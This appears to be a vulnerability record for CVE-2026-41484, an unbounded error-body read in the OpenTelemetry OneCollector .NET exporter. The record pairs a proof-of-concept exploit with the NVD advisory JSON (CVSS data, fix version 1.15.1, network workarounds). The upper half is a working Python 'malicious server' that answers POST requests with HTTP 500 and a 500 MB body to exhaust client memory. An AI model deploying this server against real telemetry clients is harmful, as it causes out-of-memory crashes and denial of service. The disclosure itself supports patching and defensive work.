CVE-2026-41484

import http.server import socketserver # Configuration for the malicious server PORT = 8080 PAYLOAD_SIZE = 1024 * 1024 * 500 # 500MB payload to trigger OOM class MaliciousHandler(http.server.BaseHTTPRequestHandler): def do_POST(self): # Send a 500 Internal Server Error to trigger the vulnerable code path self.send_response(500) self.send_header('Content-Type', 'application/json') self.end_headers() # Generate a large response body to exhaust memory # Comment: Sending a large payload to exploit unbounded read large_payload = 'A' * PAYLOAD_SIZE self.wfile.write(large_payload.encode('utf-8')) print(f"Sent {PAYLOAD_SIZE/(1024*1024)} MB payload to client.") with socketserver.TCPServer(("", PORT), MaliciousHandler) as httpd: print(f"Malicious server running at port {PORT}") httpd.serve_forever()

{"cve": {"id": "CVE-2026-41484", "sourceIdentifier": "[email protected]", "published": "2026-05-06T22:16:26.050", "lastModified": "2026-05-07T15:04:40.967", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenTelemetry.Exporter.OneCollector is a .NET exporter that sends telemetry to a OneCollector back-end over HTTP. In versions 1.15.0 and earlier, when a request to the configured back-end or collector results in an unsuccessful HTTP 4xx or 5xx response, the HttpJsonPostTransport class reads the entire response body into memory with no upper bound on the number of bytes consumed in order to include the error response in operator logs.\n\nAn attacker who controls the configured endpoint, or who can intercept traffic to it via a man-in-the-middle attack, can return an arbitrarily large response body. This causes unbounded heap allocation in the consuming process, leading to high transient memory pressure, garbage-collection stalls, or an OutOfMemoryException that terminates the process. As a workaround, use network-level controls such as firewall rules, mTLS, or a service mesh to prevent man-in-the-middle attacks on the configured back-end or collector endpoint. This issue is fixed in version 1.15.1, which limits the number of bytes read from the response body in an error condition to 4 MiB."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "references": [{"url": "https://github.com/open-telemetry/opentelemetry-dotnet-contrib/pull/4117", "source": "[email protected]"}, {"url": "https://github.com/open-telemetry/opentelemetry-dotnet-contrib/security/advisories/GHSA-55m9-299j-53c7", "source": "[email protected]"}]}}